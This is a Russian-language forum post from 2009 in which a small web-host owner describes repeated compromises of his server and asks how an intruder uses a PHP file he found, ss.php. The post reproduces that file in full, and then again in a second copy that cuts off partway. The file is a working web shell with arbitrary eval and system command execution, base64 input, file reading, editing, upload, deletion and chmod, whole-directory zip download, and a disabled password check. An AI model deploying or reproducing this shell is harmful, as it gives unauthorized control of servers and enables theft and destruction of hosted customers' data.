SiriysVW
27.10.2009, 13:04
Всем привет,возможно тему создал невтом разделе но всеже прошу помощи. Я 3 ночь уже несплю ,я решил открыть хостинг (вап хостинг) ну чучуть мы набрали клиентов все вроде нормально было. потом взломали удалили клиентов я перед этим делал резервную копию и все это дело восстановил. Уязвимость нашел на ,панель управления у нас директ админ и при переходе по временному адресу на адрес шелла можно было подниматся вверх по директориям. через 12 часов меня опять вскрыли с помощью CGITELNET просто залезли на админский аккаунт в биллинг в пхп май админ в таблицу server на ROOTPANEL а там был пароль от рута,ну и эту уязву я прикрыл. Позже дня через 2 я обнаружил что пользователь моего хостинга лазит по всем аккаунтам с помощью файла ss.php этот файл я скачал его содержимое было таковым
<?php
/*
$pass='s';
if (isset($_GET['p'])) {
$p=$_GET['p']; }
else if (isset($_COOKIE['p'])) {
$p=$_COOKIE['p']; }
else $p='';
if ($pass==$p) {
if (isset($_GET['save']) and empty($_COOKIE['p'])) {
SetCookie('p',$p,time()+36000*72); }
}
// else exit;
//-----------------//
*/
if (isset($_GET['debug'])) {
error_reporting(E_ALL | E_STRICT);
ini_set('display_errors','On');
} else {
error_reporting(0); }
list($msec,$sec)=explode(chr(32),microtime());
$HeadTime=$sec+$msec;
ignore_user_abort(1);
//-----------------//
function clear($dir) {
$opdir=opendir($dir);
while($a=readdir($opdir)) {
if ($a!='.' and $a!='..' and !is_dir($dir.'/'.$a)) {
unlink($dir.'/'.$a); }
else if ($a!='.' and $a!='..' and is_dir($dir.'/'.$a)) {
clear($dir.'/'.$a); } }
closedir ($opdir);
if (RmDir($dir)) return TRUE;
else {
return FALSE; } }
//-----------------//
if (get_magic_quotes_runtime() or get_magic_quotes_gpc()) {
foreach ($_GET as $k=>$v) {
$_GET[$k]=stripslashes($_GET[$k]); }
foreach ($_POST as $k=>$v) {
$_POST[$k]=stripslashes($_POST[$k]); } }
if (isset($_GET['e']) or isset($_POST['e'])) {
if (isset($_POST['e'])) {
$e=stripslashes($_POST['e']);
} else {
$e=stripslashes($_GET['e']); }
if (isset($_REQUEST['encode'])) {
$e=base64_decode($e); }
if (isset($_REQUEST['text'])) {
header('Content-type: text/plain'); }
if (isset($_REQUEST['textarea'])) {
echo '<textarea>',htmlspecialchars(eVAl($e)),'</textarea>';
} else {
eVAl($e); } exit; }
if (isset($_GET['c']) or isset($_POST['c'])) {
if (isset($_POST['c'])) {
$c=stripslashes($_POST['c']);
} else {
$e=stripslashes($_GET['c']); }
if (isset($_REQUEST['encode'])) {
$c=base64_decode($c); }
if (isset($_REQUEST['text'])) {
header('Content-type: text/plain'); }
if (isset($_REQUEST['textarea'])) {
echo '<textarea>',htmlspecialchars(SysteM($c)),'</textarea>';
} else {
SysteM($c); } exit; }
if (isset($_GET['in'])) {
copy($_GET['in'],$_GET['to']); exit; }
if (isset($_POST['in'])) {
copy($_POST['in'],$_POST['to']); exit; }
//-----------------//
$ps=$_SERVER['PHP_SELF'];
if (empty($_GET['zip']) and empty($_GET['download']) and empty($_GET['down'])) {
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>',$_SERVER['HTTP_HOST'],' (',$_SERVER['SERVER_ADDR'],')</title>
<style type="text/css">
body {
font-weight: normal;
font-family: Times, Arial;
font-size: 13px;
color: #000000;
background-color: #FFFFFF; }
a:link, a:active, a:visited {
text-decoration: none;
color: #2C75B1; }
a:hover, a:focus {
color: #FF0000;
text-decoration: underline; }
b {
color: #0041B3;
font-style: bold; }
table {
background-color: #FFFFFF;
border: 1px solid #0041B3; }
td {
margin: 0px;
padding: 0px;
border: 1px solid #0041B3;
background-color: #EFF3F6;
color: #73A2C6; }
</style>
</head>
<body>'; }
///////////////////
//File Manager
///////////////////
if (!isset($_GET['r']) and !isset($_GET['input']) and !isset($_GET['ren']) and !isset($_GET['setchmod']) and !isset($_GET['download']) and !isset($_GET['down']) and
!isset($_GET['up']) and !isset($_GET['upload']) and !isset($_GET['chmod']) and !isset($_GET['rename']) and !isset($_GET['rmdir']) and !isset($_GET['made']) and
!isset($_GET['create']) and !isset($_GET['del']) and !isset($_GET['deldir']) and !isset($_GET['f']) and !isset($_GET['edit']) and !isset($_GET['zip']) and
!isset($_GET['com'])) {
$sf=ini_get('safe_mode');
if (empty($sf)) {
$sf='OFF'; }
else if ($sf=='1') {
$sf='ON'; }
$ob=ini_get('open_basedir');
if (empty($ob)) {$ob='NONE';}
$df=ini_get('disable_functions');
if (empty($df)) {$df='NONE';}
echo '<b>File Manager</b>
<hr>
',php_uname(),'<br>
<b>Root:</b> ',$_SERVER['DOCUMENT_ROOT'],'<br>
<b>Open Basedir:</b> ',$ob,'<br>
<b>Safe Mode:</b> ',$sf,'<br>
<b>Disable Functions:</b> ',$df,'<br>';
if (empty($_GET['d'])) {$d='.*';}
else
{$d=$_GET['d'];}
if ($d=='.*') {$vverh='.'.$d;}
if ($d!=='.*') {$vverh=$d.'..*';}
$d=str_replace('/','*',$d);
echo '<br>
<a href="',$ps,'?d=',$vverh,'">UP</a><br>
<a href="',$ps,'?create=',$d,'">Create File</a><br>
<a href="',$ps,'?up=',$d,'">Upload File</a><br>';
$d=str_replace('*','/',$d);
echo 'Path: <b>',$d,'</b><br>
<b>DIR:</b><table>';
$dir=opendir($d);
while($file=readdir($dir)) {
if(is_dir($d.'/'.$file)) {
if ($file!='.' and $file!='..') {
$mod=substr(sprintf("%o",fileperms($d.'/'.$file)),-3);
$d=str_replace('/','*',$d);
echo '<tr>
<td width="350">
<a href="',$ps,'?d=',$d,$file,'*">',$file,'</a></td>
<td>DIR</td>
<td>',$mod,'</td>
<td><a href="',$ps,'?zip=',$d,$file,'*"><font color="#0000FF">[zip]</font></a></td>
<td><a href="',$ps,'?deldir=',$d,$file,'*"><font color="#FF0000">[clear]</font></a></td>
<td><a href="',$ps,'?ren=',$d,$file,'*"><font color="#000000">[rename]</font></a></td>
<td><a href="',$ps,'?chmod=',$d,$file,'*"><font color="#FF3300">[chmod]</font></a></td>
<td><a href="',$ps,'?rmdir=',$d,$file,'*"><font color="#00FF00">[rmdir]</font></a></td>
</tr>';
$d=str_replace('*','/',$d); } } }
echo '</table>
<hr>
<b>Files:</b><table>';
$d=str_replace('*','/',$d);
$dir=opendir($d);
while($file=readdir($dir)) {
if(is_file($d.'/'.$file)) {
$mod=substr(sprintf("%o",fileperms($d.'/'.$file)),-3);
$siz=round(filesize("$d/$file")/1024,2);
$d=str_replace('/','*',$d);
echo '<tr>
<td width="350">
<a href="',$ps,'?r=',$d,$file,'">',$file,'</a></td>
<td> (',$siz,' Kb)</td>
<td>',$mod,'</td>
<td><a href="',$ps,'?f=',$d,$file,'"><font color="#0000FF">[edit]</font></a></td>
<td><a href="',$ps,'?del=',$d,$file,'"><font color="#FF0000">[del]</font></a></td>
<td><a href="',$ps,'?ren=',$d,$file,'"><font color="#000000">[rename]</font></a></td>
<td><a href="',$ps,'?chmod=',$d,$file,'"><font color="#FF3300">[chmod]</font></a></td>
<td><a href="',$ps,'?download=',$d,$file,'"><font color="#00FF00">[down]</font></a></td>
</tr>';
$d=str_replace('*','/',$d); } }
echo '</table>'; }
///////////////////
//Rename
///////////////////
if (isset($_GET['ren'])) {
echo '<b>Rename</b><hr>
<form action="',$ps,'?rename=',$_GET['ren'],'" method="POST">
<input name="new_name" value="',$_GET['ren'],'"><br>
<input type="submit" value="Rename">'; }
if (isset($_GET['rename'])) {
$_GET['rename']=str_replace('*','/',$_GET['rename']);
$newname=str_replace('*','/',$_POST['new_name']);
echo '<b>Rename</b><hr>';
$name=rename($_GET['rename'],$newname);
if ($name) {
echo 'Done!';
} else {
echo'Error!'; } }
///////////////////
//Upload
///////////////////
if (isset($_GET['up'])) {
echo '<b>Upload</b><hr>
<form action="',$ps,'" method="POST" name="form" enctype="multipart/form-data">
<br>DIR: <br>
<input type="text" name="upload" value="',$_GET['up'],'">
<input type="file" name="file"><br>
Save as: <br>
<input type="text" name="new_name" value=""><br>
<input type="submit" value="Upload"></form>'; }
if (isset($_POST['upload'])) {
$_POST['upload']=str_replace('*','/',$_POST['upload']);
$new_name=trim($_POST['new_name']);
if(copy($_FILES["file"]["tmp_name"],$_POST['upload'].$new_name)) {
echo 'Done!';
} else {
echo 'Error!'; } }
///////////////////
//Download
///////////////////
if (isset($_GET['download'])) {
$down=str_replace('*','/',$_GET['download']);
$file=file_get_contents($down);
$name=explode('/',$down);
$name=$name[count($name)-1];
header('Content-type: text/plain');
header('Content-disposition: attachment; filename='.$name);
echo $file; exit; }
///////////////////
//Chmods
///////////////////
if (isset($_GET['chmod'])) {
$_GET['chmod']=str_replace('*','/',$_GET['chmod']);
echo '<b>Chmods</b><hr>';
$mod=substr(sprintf("%o",fileperms($_GET['chmod'])),-3);
$_GET['chmod']=str_replace('/','*',$_GET['chmod']);
echo '<form action="',$ps,'?setchmod=',$_GET['chmod'],'" method="POST">
<input name="chmods" value="',$mod,'"><br>
<input type="submit" value="Chmod">'; }
if (isset($_GET['setchmod'])) {
$_GET['setchmod']=str_replace('*','/',$_GET['setchmod']);
echo '<b>Chmods</b><hr>';
if (chmod($_GET['setchmod'],$_POST['chmods'])) {
echo 'Chmod ',$_POST['chmods'],' Done!';
} else {
echo 'Chmod ',$_POST['chmods'],' Error!'; } }
///////////////////
//Full Clear Dir
///////////////////
if (isset($_GET['rmdir'])) {
$rmdir=str_replace('*','/',$_GET['rmdir']);
echo '<b>Full Clear Dir</b><hr>';
$ddir=clear($rmdir);
if ($ddir) {
echo 'Dir ',$rmdir,' was cleared!';
} else {
echo 'Error!'; } }
///////////////////
//Read File
///////////////////
if (isset($_GET['r'])) {
$read=str_replace('*','/',$_GET['r']);
$file=file($read);
echo '<b>Read File</b>
<hr>';
if ($file) {
$cnt=count($file);
for($i='0';$i<$cnt;++$i) {
$file[$i]=htmlspecialchars($file[$i]);
echo '<small>',$file[$i],'</small><br>'; }
} else {
echo 'Error!'; } }
///////////////////
//Delete File
///////////////////
if (isset($_GET['del'])) {
$_GET['del']=str_replace('*','/',$_GET['del']);
echo '<b>Delete File</b><hr>';
$delete=unlink($_GET['del']);
if ($delete) {
echo 'File <b>',$_GET['del'],'</b> was deleted!<hr>';
} else {
echo 'File <b>',$_GET['del'],'</b> was NOT deleted!'; } }
///////////////////
//Clear Dir
///////////////////
if (isset($_GET['deldir'])) {
$_GET['deldir']=str_replace('*','/',$_GET['deldir']);
echo '<b>Clear Dir</b><hr>';
$dir=opendir($_GET['deldir']);
while($files=readdir($dir)) {
if (is_file($_GET['deldir'].$files)) {
$del=unlink($_GET['deldir'].$files); }
if (is_dir($_GET['deldir'].$files) and $files!='.' and $files!='..') {
$odir=opendir($_GET['deldir'].$files);
while($reddir=readdir($odir)) {
if (is_file($_GET['deldir'].$files.'/'.$reddir)) {
$delet=unlink($_GET['deldir'].$files.'/'.$reddir); } } } }
if ($del) {
echo 'Files from <b>',$_GET['deldir'],'</b> was deleted!';
} else {
echo 'Files from <b>',$_GET['deldir'],'</b> was NOT deleted!'; }
if ($delet) {
echo '<br>Files from directories in <b>',$_GET['deldir'],'</b> was deleted!';
} else {
echo'<br>Files from directories in <b>',$_GET['deldir'],'</b> was NOT deleted!'; } }
///////////////////
//Edit File
///////////////////
if (isset($_GET['f'])) {
$_GET['f']=str_replace('*','/',$_GET['f']);
echo '<b>Edit File</b><hr>';
$file=file_get_contents($_GET['f']);
$file=htmlspecialchars($file);
$_GET['f']=str_replace('/','*',$_GET['f']);
echo '<form action="',$ps,'?edit=',$_GET['f'],'" method="POST">
<textarea cols="100" rows="15" name="text">',$file,'</textarea><br>
<input type="submit" value="Edit">'; }
if (isset($_GET['edit'])) {
$_GET['edit']=str_replace('*','/',$_GET['edit']);
echo '<b>Edit File</b><hr>';
$fp=fopen($_GET['edit'],'w');
fputs($fp,$_POST['text']);
fclose($fp);
if ($fp) {
echo 'Done!';
} else {
echo 'Error!'; } }
///////////////////
//Create File
///////////////////
if (isset($_GET['create'])) {
echo '<b>Create File</b><hr>
<form action="',$ps,'?made=',$_GET['create'],'" method="POST">
<input name="new_name" value="Name"><br>
<textarea cols="100" rows="15" name="new_file">Content</textarea><br>
<input type="submit" value="Create">'; }
if (isset($_GET['made'])) {
$_GET['made']=str_replace('*','/',$_GET['made']);
echo '<b>Create File</b><hr>';
$fp=fopen($_GET['made'].$_POST['new_name'],'w');
fputs($fp,$_POST['new_file']);
fclose($fp);
if ($fp) {
echo 'File was created!';
} else {
echo 'Error!'; } }
///////////////////
//ZIP
///////////////////
if (isset($_GET['zip'])) {
$zip=str_replace('*','/',$_GET['zip']);
class zipfile {
var $datasec = array();
var $ctrl_dir = array();
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
var $old_offset = 0;
function add_file($data,$name) {
$name=str_replace("\\","/",$name);
$fr="\x50\x4b\x03\x04";
$fr.="\x14\x00";
$fr.="\x00\x00";
$fr.="\x08\x00";
$fr.="\x00\x00\x00\x00";
$unc_len=strlen($data);
$crc=crc32($data);
$zdata=gzcompress($data);
$zdata=substr(substr($zdata,0,strlen($zdata)-4),2);
$c_len=strlen($zdata);
$fr.=pack("V",$crc);
$fr.=pack("V",$c_len);
$fr.=pack("V",$unc_len);
$fr.=pack("v",strlen($name));
$fr.=pack("v",0);
$fr.=$name;
$fr.=$zdata;
$fr.=pack("V",$crc);
$fr.=pack("V",$c_len);
$fr.=pack("V",$unc_len);
$this->datasec[]=$fr;
$new_offset=strlen(implode("",$this->datasec));
$cdrec="\x50\x4b\x01\x02";
$cdrec.="\x00\x00";
$cdrec.="\x14\x00";
$cdrec.="\x00\x00";
$cdrec.="\x08\x00";
$cdrec.="\x00\x00\x00\x00";
$cdrec.=pack("V",$crc);
$cdrec.=pack("V",$c_len);
$cdrec.=pack("V",$unc_len);
$cdrec.=pack("v",strlen($name));
$cdrec.=pack("v",0);
$cdrec.=pack("v",0);
$cdrec.=pack("v",0);
$cdrec.=pack("v",0);
$cdrec.=pack("V",32);
$cdrec.=pack("V",$this->old_offset);
$this->old_offset=$new_offset;
$cdrec.=$name;
$this->ctrl_dir[]=$cdrec; }
function file() {
$data=implode("",$this->datasec);
$ctrldir=implode("",$this->ctrl_dir);
return
$data.
$ctrldir.
$this->eof_ctrl_dir.
pack("v",sizeof($this->ctrl_dir)).
pack("v",sizeof($this->ctrl_dir)).
pack("V",strlen($ctrldir)).
pack("V",strlen($data)).
"\x00\x00"; }
function full_add_dir($dir) {
global $zip;
$d=str_replace($zip,'',$dir);
$fdir=opendir($dir);
while ($file=readdir($fdir)) {
if ($file!='.' and $file!='..') {
if (is_file($dir.$file)) {
$this->add_file(file_get_contents($dir.$file),$d.$file); }
else if (is_dir($dir.$file)) {
$this->full_add_dir($dir.$file.'/'); } } }
return $dir; } }
$zipfile = new zipfile();
$zipfile->full_add_dir($zip);
$name=explode('/',$zip);
$file=$name[count($name)-2];
header('Content-type: application/octet-stream');
header('Content-disposition: attachment; filename='.$file.'.zip');
echo $zipfile->file(); exit; }
///////////////////
//CMD
///////////////////
if (isset($_GET['com'])) {
if ($_GET['com']=='1') {$str='c';} else {$str='e';}
echo '<form action="',$ps,'" method="POST">
Command (',$str,'): <br>
<input name="',$str,'" type="text"><br>
Base64: <input name="encode" type="checkbox" value="1"><br>
Text: <input name="text" type="checkbox" value="1">
Textarea: <input name="textarea" type="checkbox" value="1"><br>
<input type="submit" value="Done">
</form><hr>'; }
//////////////////////////////////////
echo '<br>
<a href="',$ps,'">Default</a> | <a href="',$ps,'?com=1">CMD</a> | <a href="',$ps,'?com=0">PHP</a><br>';
list($msec,$sec)=explode(chr(32),microtime());
echo round((($sec+$msec)-$HeadTime),5),' sec.
</body>
</html>';
exit;
?>
недолго думая понятно что это шелл. подскажите мне пожалуйста как с помощью этого шелла этот человек лазит по серверу.
<?php
/*
$pass='s';
if (isset($_GET['p'])) {
$p=$_GET['p']; }
else if (isset($_COOKIE['p'])) {
$p=$_COOKIE['p']; }
else $p='';
if ($pass==$p) {
if (isset($_GET['save']) and empty($_COOKIE['p'])) {
SetCookie('p',$p,time()+36000*72); }
}
// else exit;
//-----------------//
*/
if (isset($_GET['debug'])) {
error_reporting(E_ALL | E_STRICT);
ini_set('display_errors','On');
} else {
error_reporting(0); }
list($msec,$sec)=explode(chr(32),microtime());
$HeadTime=$sec+$msec;
ignore_user_abort(1);
//-----------------//
function clear($dir) {
$opdir=opendir($dir);
while($a=readdir($opdir)) {
if ($a!='.' and $a!='..' and !is_dir($dir.'/'.$a)) {
unlink($dir.'/'.$a); }
else if ($a!='.' and $a!='..' and is_dir($dir.'/'.$a)) {
clear($dir.'/'.$a); } }
closedir ($opdir);
if (RmDir($dir)) return TRUE;
else {
return FALSE; } }
//-----------------//
if (get_magic_quotes_runtime() or get_magic_quotes_gpc()) {
foreach ($_GET as $k=>$v) {
$_GET[$k]=stripslashes($_GET[$k]); }
foreach ($_POST as $k=>$v) {
$_POST[$k]=stripslashes($_POST[$k]); } }
if (isset($_GET['e']) or isset($_POST['e'])) {
if (isset($_POST['e'])) {
$e=stripslashes($_POST['e']);
} else {
$e=stripslashes($_GET['e']); }
if (isset($_REQUEST['encode'])) {
$e=base64_decode($e); }
if (isset($_REQUEST['text'])) {
header('Content-type: text/plain'); }
if (isset($_REQUEST['textarea'])) {
echo '<textarea>',htmlspecialchars(eVAl($e)),'</textarea>';
} else {
eVAl($e); } exit; }
if (isset($_GET['c']) or isset($_POST['c'])) {
if (isset($_POST['c'])) {
$c=stripslashes($_POST['c']);
} else {
$e=stripslashes($_GET['c']); }
if (isset($_REQUEST['encode'])) {
$c=base64_decode($c); }
if (isset($_REQUEST['text'])) {
header('Content-type: text/plain'); }
if (isset($_REQUEST['textarea'])) {
echo '<textarea>',htmlspecialchars(SysteM($c)),'</textarea>';
} else {
SysteM($c); } exit; }
if (isset($_GET['in'])) {
copy($_GET['in'],$_GET['to']); exit; }
if (isset($_POST['in'])) {
copy($_POST['in'],$_POST['to']); exit; }
//-----------------//
$ps=$_SERVER['PHP_SELF'];
if (empty($_GET['zip']) and empty($_GET['download']) and empty($_GET['down'])) {
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>',$_SERVER['HTTP_HOST'],' (',$_SERVER['SERVER_ADDR'],')</title>
<style type="text/css">
body {
font-weight: normal;
font-family: Times, Arial;
font-size: 13px;
color: #000000;
background-color: #FFFFFF; }
a:link, a:active, a:visited {
text-decoration: none;
color: #2C75B1; }
a:hover, a:focus {
color: #FF0000;
text-decoration: underline; }
b {
color: #0041B3;
font-style: bold; }
table {
background-color: #FFFFFF;
border: 1px solid #0041B3; }
td {
margin: 0px;
padding: 0px;
border: 1px solid #0041B3;
background-color: #EFF3F6;
color: #73A2C6; }
</style>
</head>
<body>'; }
///////////////////
//File Manager
///////////////////
if (!isset($_GET['r']) and !isset($_GET['input']) and !isset($_GET['ren']) and !isset($_GET['setchmod']) and !isset($_GET['download']) and !isset($_GET['down']) and
!isset($_GET['up']) and !isset($_GET['upload']) and !isset($_GET['chmod']) and !isset($_GET['rename']) and !isset($_GET['rmdir']) and !isset($_GET['made']) and
!isset($_GET['create']) and !isset($_GET['del']) and !isset($_GET['deldir']) and !isset($_GET['f']) and !isset($_GET['edit']) and !isset($_GET['zip']) and
!isset($_GET['com'])) {
$sf=ini_get('safe_mode');
if (empty($sf)) {
$sf='OFF'; }
else if ($sf=='1') {
$sf='ON'; }
$ob=ini_get('open_basedir');
if (empty($ob)) {$ob='NONE';}
$df=ini_get('disable_functions');
if (empty($df)) {$df='NONE';}
echo '<b>File Manager</b>
<hr>
',php_uname(),'<br>
<b>Root:</b> ',$_SERVER['DOCUMENT_ROOT'],'<br>
<b>Open Basedir:</b> ',$ob,'<br>
<b>Safe Mode:</b> ',$sf,'<br>
<b>Disable Functions:</b> ',$df,'<br>';
if (empty($_GET['d'])) {$d='.*';}
else
{$d=$_GET['d'];}
if ($d=='.*') {$vverh='.'.$d;}
if ($d!=='.*') {$vverh=$d.'..*';}
$d=str_replace('/','*',$d);
echo '<br>
<a href="',$ps,'?d=',$vverh,'">UP</a><br>
<a href="',$ps,'?create=',$d,'">Create File</a><br>
<a href="',$ps,'?up=',$d,'">Upload File</a><br>';
$d=str_replace('*','/',$d);
echo 'Path: <b>',$d,'</b><br>
<b>DIR:</b><table>';
$dir=opendir($d);
while($file=readdir($dir)) {
if(is_dir($d.'/'.$file)) {
if ($file!='.' and $file!='..') {
$mod=substr(sprintf("%o",fileperms($d.'/'.$file)),-3);
$d=str_replace('/','*',$d);
echo '<tr>
<td width="350">
<a href="',$ps,'?d=',$d,$file,'*">',$file,'</a></td>
<td>DIR</td>
<td>',$mod,'</td>
<td><a href="',$ps,'?zip=',$d,$file,'*"><font color="#0000FF">[zip]</font></a></td>
<td><a href="',$ps,'?deldir=',$d,$file,'*"><font color="#FF0000">[clear]</font></a></td>
<td><a href="',$ps,'?ren=',$d,$file,'*"><font color="#000000">[rename]</font></a></td>
<td><a href="',$ps,'?chmod=',$d,$file,'*"><font color="#FF3300">[chmod]</font></a></td>
<td><a href="',$ps,'?rmdir=',$d,$file,'*"><font color="#00FF00">[rmdir]</font></a></td>
</tr>';
$d=str_replace('*','/',$d); } } }
echo '</table>
<hr>
<b>Files:</b><table>';
$d=str_replace('*','/',$d);
$dir=opendir($d);
while($file=readdir($dir)) {
if(is_file($d.'/'.$file)) {
$mod=substr(sprintf("%o",fileperms($d.'/'.$file)),-3);
$siz=round(filesize("$d/$file")/1024,2);
$d=str_replace('/','*',$d);
echo '<tr>
<td width="350">
<a href="',$ps,'?r=',$d,$file,'">',$file,'</a></td>
<td> (',$siz,' Kb)</td>
<td>',$mod,'</td>
<td><a href="',$ps,'?f=',$d,$file,'"><font color="#0000FF">[edit]</font></a></td>
<td><a href="',$ps,'?del=',$d,$file,'"><font color="#FF0000">[del]</font></a></td>
<td><a href="',$ps,'?ren=',$d,$file,'"><font color="#000000">[rename]</font></a></td>
<td><a href="',$ps,'?chmod=',$d,$file,'"><font color="#FF3300">[chmod]</font></a></td>
<td><a href="',$ps,'?download=',$d,$file,'"><font color="#00FF00">[down]</font></a></td>
</tr>';
$d=str_replace('*','/',$d); } }
echo '</table>'; }
///////////////////
//Rename
///////////////////
if (isset($_GET['ren'])) {
echo '<b>Rename</b><hr>
<form action="',$ps,'?rename=',$_GET['ren'],'" method="POST">
<input name="new_name" value="',$_GET['ren'],'"><br>
<input type="submit" value="Rename">'; }
if (isset($_GET['rename'])) {
$_GET['rename']=str_replace('*','/',$_GET['rename']);
$newname=str_replace('*','/',$_POST['new_name']);
echo '<b>Rename</b><hr>';
$name=rename($_GET['rename'],$newname);
if ($name) {
echo 'Done!';
} else {
echo'Error!'; } }
///////////////////
//Upload
///////////////////
if (isset($_GET['up'])) {
echo '<b>Upload</b><hr>
<form action="',$ps,'" method="POST" name="form" enctype="multipart/form-data">
<br>DIR: <br>
<input type="text" name="upload" value="',$_GET['up'],'">
<input type="file" name="file"><br>
Save as: <br>
<input type="text" name="new_name" value=""><br>
<input type="submit" value="Upload"></form>'; }
if (isset($_POST['upload'])) {
$_POST['upload']=str_replace('*','/',$_POST['upload']);
$new_name=trim($_POST['new_name']);
if(copy($_FILES["file"]["tmp_name"],$_POST['upload'].$new_name)) {
echo 'Done!';
} else {
echo 'Error!'; } }
///////////////////
//Download
///////////////////
if (isset($_GET['download'])) {
$down=str_replace('*','/',$_GET['download']);
$file=file_get_contents($down);
$name=explode('/',$down);
$name=$name[count($name)-1];
header('Content-type: text/plain');
header('Content-disposition: attachment; filename='.$name);
echo $file; exit; }
///////////////////
//Chmods
///////////////////
if (isset($_GET['chmod'])) {
$_GET['chmod']=str_replace('*','/',$_GET['chmod']);
echo '<b>Chmods</b><hr>';
$mod=substr(sprintf("%o",fileperms($_GET['chmod'])),-3);
$_GET['chmod']=str_replace('/','*',$_GET['chmod']);
echo '<form action="',$ps,'?setchmod=',$_GET['chmod'],'" method="POST">
<input name="chmods" value="',$mod,'"><br>
<input type="submit" value="Chmod">'; }
if (isset($_GET['setchmod'])) {
$_GET['setchmod']=str_replace('*','/',$_GET['setchmod']);
echo '<b>Chmods</b><hr>';
if (chmod($_GET['setchmod'],$_POST['chmods'])) {
echo 'Chmod ',$_POST['chmods'],' Done!';
} else {
echo 'Chmod ',$_POST['chmods'],' Error!'; } }
///////////////////
//Full Clear Dir
///////////////////
if (isset($_GET['rmdir'])) {
$rmdir=str_replace('*','/',$_GET['rmdir']);
echo '<b>Full Clear Dir</b><hr>';
$ddir=clear($rmdir);
if ($ddir) {
echo 'Dir ',$rmdir,' was cleared!';
} else {
echo 'Error!'; } }
///////////////////
//Read File
///////////////////
if (isset($_GET['r'])) {
$read=str_replace('*','/',$_GET['r']);
$file=file($read);
echo '<b>Read File</b>
<hr>';
if ($file) {
$cnt=count($file);
for($i='0';$i<$cnt;++$i) {
$file[$i]=htmlspecialchars($file[$i]);
echo '<small>',$file[$i],'</small><br>'; }
} else {
echo 'Error!'; } }
///////////////////
//Delete File
///////////////////
if (isset($_GET['del'])) {
$_GET['del']=str_replace('*','/',$_GET['del']);
echo '<b>Delete File</b><hr>';
$delete=unlink($_GET['del']);
if ($delete) {
echo 'File <b>',$_GET['del'],'</b> was deleted!<hr>';
} else {
echo 'File <b>',$_GET['del'],'</b> was NOT deleted!'; } }
///////////////////
//Clear Dir
///////////////////
if (isset($_GET['deldir'])) {
$_GET['deldir']=str_replace('*','/',$_GET['deldir']);
echo '<b>Clear Dir</b><hr>';
$dir=opendir($_GET['deldir']);
while($files=readdir($dir)) {
if (is_file($_GET['deldir'].$files)) {
$del=unlink($_GET['deldir'].$files); }
if (is_dir($_GET['deldir'].$files) and $files!='.' and $files!='..') {
$odir=opendir($_GET['deldir'].$files);
while($reddir=readdir($odir)) {
if (is_file($_GET['deldir'].$files.'/'.$reddir)) {
$delet=unlink($_GET['deldir'].$files.'/'.$reddir); } } } }
if ($del) {
echo 'Files from <b>',$_GET['deldir'],'</b> was deleted!';
} else {
echo 'Files from <b>',$_GET['deldir'],'</b> was NOT deleted!'; }
if ($delet) {
echo '<br>Files from directories in <b>',$_GET['deldir'],'</b> was deleted!';
} else {
echo'<br>Files from directories in <b>',$_GET['deldir'],'</b> was NOT deleted!'; } }
///////////////////
//Edit File
///////////////////
if (isset($_GET['f'])) {
$_GET['f']=str_replace('*','/',$_GET['f']);
echo '<b>Edit File</b><hr>';
$file=file_get_contents($_GET['f']);
$file=htmlspecialchars($file);
$_GET['f']=str_replace('/','*',$_GET['f']);
echo '<form action="',$ps,'?edit=',$_GET['f'],'" method="POST">
<textarea cols="100" rows="15" name="text">',$file,'</textarea><br>
<input type="submit" value="Edit">'; }
if (isset($_GET['edit'])) {
$_GET['edit']=str_replace('*','/',$_GET['edit']);
echo '<b>Edit File</b><hr>';
$fp=fopen($_GET['edit'],'w');
fputs($fp,$_POST['text']);
fclose($fp);
if ($fp) {
echo 'Done!';
} else {
echo 'Error!'; } }
///////////////////
//Create File
///////////////////
if (isset($_GET['create'])) {
echo '<b>Create File</b><hr>
<form action="',$ps,'?made=',$_GET['create'],'" method="POST">
<input name="new_name" value="Name"><br>
<textarea cols="100" rows="15" name="new_file">Content</textarea><br>
<input type="submit" value="Create">'; }
if (isset($_GET['made'])) {
$_GET['made']=str_replace('*','/',$_GET['made']);
echo '<b>Create File</b><hr>';
$fp=fopen($_GET['made'].$_POST['new_name'],'w');
fputs($fp,$_POST['new_file']);
fclose($fp);
if ($fp) {
echo 'File was created!';
} else {
echo 'Error!'; } }
///////////////////
//ZIP
///////////////////
if (isset($_GET['zip'])) {
$zip=str_replace('*','/',$_GET['zip']);
class zipfile {
var $datasec = array();
var $ctrl_dir = array();
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
var $old_offset = 0;
function add_file($data,$name) {
$name=str_replace("\\","/",$name);
$fr="\x50\x4b\x03\x04";
$fr.="\x14\x00";
$fr.="\x00\x00";
$fr.="\x08\x00";
$fr.="\x00\x00\x00\x00";
$unc_len=strlen($data);
$crc=crc32($data);
$zdata=gzcompress($data);
$zdata=substr(substr($zdata,0,strlen($zdata)-4),2);
$c_len=strlen($zdata);
$fr.=pack("V",$crc);
$fr.=pack("V",$c_len);
$fr.=pack("V",$unc_len);
$fr.=pack("v",strlen($name));
$fr.=pack("v",0);
$fr.=$name;
$fr.=$zdata;
$fr.=pack("V",$crc);
$fr.=pack("V",$c_len);
$fr.=pack("V",$unc_len);
$this->datasec[]=$fr;
$new_offset=strlen(implode("",$this->datasec));
$cdrec="\x50\x4b\x01\x02";
$cdrec.="\x00\x00";
$cdrec.="\x14\x00";
$cdrec.="\x00\x00";
$cdrec.="\x08\x00";
$cdrec.="\x00\x00\x00\x00";
$cdrec.=pack("V",$crc);
$cdrec.=pack("V",$c_len);
$cdrec.=pack("V",$unc_len);
$cdrec.=pack("v",strlen($name));
$cdrec.=pack("v",0);
$cdrec.=pack("v",0);
$cdrec.=pack("v",0);
$cdrec.=pack("v",0);
$cdrec.=pack("V",32);
$cdrec.=pack("V",$this->old_offset);
$this->old_offset=$new_offset;
$cdrec.=$name;
$this->ctrl_dir[]=$cdrec; }
function file() {
$data=implode("",$this->datasec);
$ctrldir=implode("",$this->ctrl_dir);
return
$data.
$ctrldir.
$this->eof_ctrl_dir.
pack("v",sizeof($this->ctrl_dir)).
pack("v",sizeof($this->ctrl_dir)).
pack("V",strlen($ctrldir)).
pack("V",strlen($data)).
"\x00\x00"; }
function full_add_dir($dir) {
global $zip;
